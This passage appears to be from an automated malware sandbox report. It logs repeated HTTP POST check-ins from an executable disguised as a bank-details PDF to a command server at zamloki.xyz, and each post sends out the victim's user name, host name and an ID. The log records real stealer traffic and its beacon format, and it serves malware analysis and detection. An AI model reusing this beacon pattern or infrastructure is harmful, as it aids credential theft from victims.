Jul 27, 2021 22:07:47.680346012 CEST	6944	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BkQlrrnZ7myo2Qg86m4z0QqGZYubn1ig%2B1dy3K79q22u%2BBOLWxMp3LRHFg7kIVXVh5PobOWHNkKTTE2Qnos92hgTBHHt%2BaBsQ4%2FL429aIddlaTtm5rWnwiBJrq0IVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ef94b0c2bb9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49786	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:47.939809084 CEST	6945	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:47.968285084 CEST	6945	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:48.215269089 CEST	6946	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XphWtwEr1nEF74pUJAM4%2FtW%2B25dsHCWIiFPHksZpVrHpxhBlw6TvqswkBPL9BS0C2ISDn6%2BrUbs3hyjiQyq1ZIj%2FPh5pvI5e2rzNqT4yMU5OUTrZncbX0lC5coqoPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587efcbcbe1f4d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49787	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:48.486304045 CEST	6947	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:48.521013975 CEST	6947	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:48.780293941 CEST	6948	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AosATpcrfVEKD4wPZo5FiDbSaBwigk1gxFiqxrp9QaYGr8WQTehbEx14YdrrSrezV6PloO1nlyXLSWFCeemBaHuMknoY0C0vVuZtS9VPAcIVWKx6mV9d6V9ehsGuWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f001ff1dfcb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49788	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:49.024648905 CEST	6949	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:49.052402020 CEST	6949	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:49.315342903 CEST	6950	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DBHMq4%2Bkm5VUQtOmsJFX%2BWotLSWv%2BQ%2Fx65ytGP348nCH%2BKBEbX0NHrv7b4LgE9DRW5WSE81mgMvrAtkG%2F4ExGOsCcS%2BeaE8w5o6rxY2fUh%2BPSyaVsaUvlYmLP6rrjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f037a66178e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49728	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:19.573442936 CEST	1304	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:19.602101088 CEST	1305	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:19.862253904 CEST	1305	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gz4DUYpyz%2FcC2EGJCxE26uqIaPyBrBvbl18apSm8HbwX%2FCbUQg2XbEreqJ9vowEAC6gfBNEh4mBz6NJ18ngBVpEqrGVXNWYC3v5%2FiUSXe7Yvmchm%2FPr%2BLokucF710g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e4b6dea4e3e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	49789	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:49.556924105 CEST	6951	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:49.587682962 CEST	6951	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:49.882350922 CEST	6952	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Nxb5EoaJLJCo7jRTkC60A8qWT3SealUHu5rt7wIDafuiIN1Hr7LupSv5QzeFtEhq17fl9NNGgxtsy5RSPp4kdQla33StsQc4BJO5MJfNqAyghDUrUtPtyEESAsiLgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f06cf4c434b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	49790	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:50.121948004 CEST	6952	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:50.151668072 CEST	6953	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:50.405240059 CEST	6953	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ooj4MEGsNriJBUk4c9idGkFVrHJ%2Fjt19B11D92q4bevEyo31Dwcf9oDFd%2F8Y7a%2FhVPhvihLlK82b%2FfPrhGW7MAeo%2BtH8YSysJr0%2FVYbrkEvjIc1qUXQiLLBEOA6Y5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f0a4c7b4e3e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	49791	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:50.778932095 CEST	6954	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:50.808919907 CEST	6955	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:51.085863113 CEST	6955	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CTYkMlYy5Bkl7Lvrrk4ZVKniiVoFeoYsyymAFKN1RHTj8luoRVFqTjtfqtBkMVnm8YujomvTirR7tvu41snPd5ayku4v5kmUntmXjxo3vADe5rGZSVitGbgS5IqIxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f0e6f83432d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	49792	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:51.399234056 CEST	6956	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:51.426975965 CEST	6956	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:51.758012056 CEST	6957	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=41%2B7re7hOKRD1S%2FoMOYXPU2DJ%2BDCD879fqRa%2BOKwSV1v%2Fd%2BVtw%2BzzIJc%2FN%2FDGdinGhi2FStlUWrL0uiM8wKeAtKszDdwph8CMqc4L9lavfwZR%2Bzn1vgXOwAfVCfVEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f12480205f9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	49793	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:52.014486074 CEST	6958	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:52.042243004 CEST	6958	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:52.371072054 CEST	6959	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=g9%2FH3jJQUC0QlPtjKwL%2F%2BLHH9eK%2BHJE79ZDKweVzjIhDVBqXZ%2FPfSOs0DPTy5CJl38mbmCg9wSO37kB1dwsAXlbz%2FO%2Fd2rrcaHYGz5x6m4ttwMPuOpJJOZXtF6rpmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f162cb8434b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	49794	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:52.626590014 CEST	6960	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:52.655462980 CEST	6960	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:52.963675976 CEST	6961	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bi3YAqQXJfMVy2Tq4xT8FSSKCwbG0SldvPy5pvUGwbIjt3ExBjZPSEqOiRl%2FuexcNVJmExP4wmKG%2FpGBUMzjMYTJvjeDVMTj5yJwtQafmVicd4rOD%2BVzHiWr1t7Jeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f19fae64df4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	49795	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:53.198729992 CEST	6962	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:53.226614952 CEST	6962	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:53.592611074 CEST	6963	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sr65Mgv%2BVkjvZL8vCEbmkKtUYwZQrK8tryVJn1dhEKsnWuB%2F0pSWl71VBIeS4ZO9L5iOAbVXG5JqJCR%2BvKhmDKtHP4p0HX98MjDMP8XlY788F8QowfGScG4P225ZFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f1d8db34e67-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	49796	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:53.919658899 CEST	6964	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:53.947371006 CEST	6964	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:54.271102905 CEST	6965	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=acf1OuzYsj5r3j2uD%2Fk2azE9VwLt%2BU5R3rjt9XHPVo8UPXQcEMF5FFH6AupCKKcAt4KmvDlZzXTc3bi7%2BVcS45%2BgtGMU3uWcjrg3WkbWEDxuYMmyusg3%2FTc1k76W6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f220e554414-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	49798	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:54.551395893 CEST	6966	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:54.577312946 CEST	6966	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:54.820557117 CEST	6967	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fB0imZ5HUyT274gqFyBnm7VlkTEBB%2BuWo%2BI5QKggNGE%2F5d%2BDeWfgSwUgkydPYHkdDKFEzbK5OG9jBRC7ItwOjOa3Yk3YPn1PhuMRFjOuN2RViHQ9tjfrSlPuWvdWpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f25fba54a92-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	49799	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:55.090353012 CEST	6967	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:55.119060993 CEST	6968	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:55.391274929 CEST	6968	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0HRmF3L8KoTZmoC0EaFgocwIXMvlVmJlnmbGd4L3S5WssRChvg06mdCSO2KUWyggHt3z7DwYAlKQ7PWRCxFo2U5BnzuGxNmFzLKejlwt59O981BPLJXStuFKQDYV%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f296d02dfbf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49729	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:21.010370016 CEST	1306	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
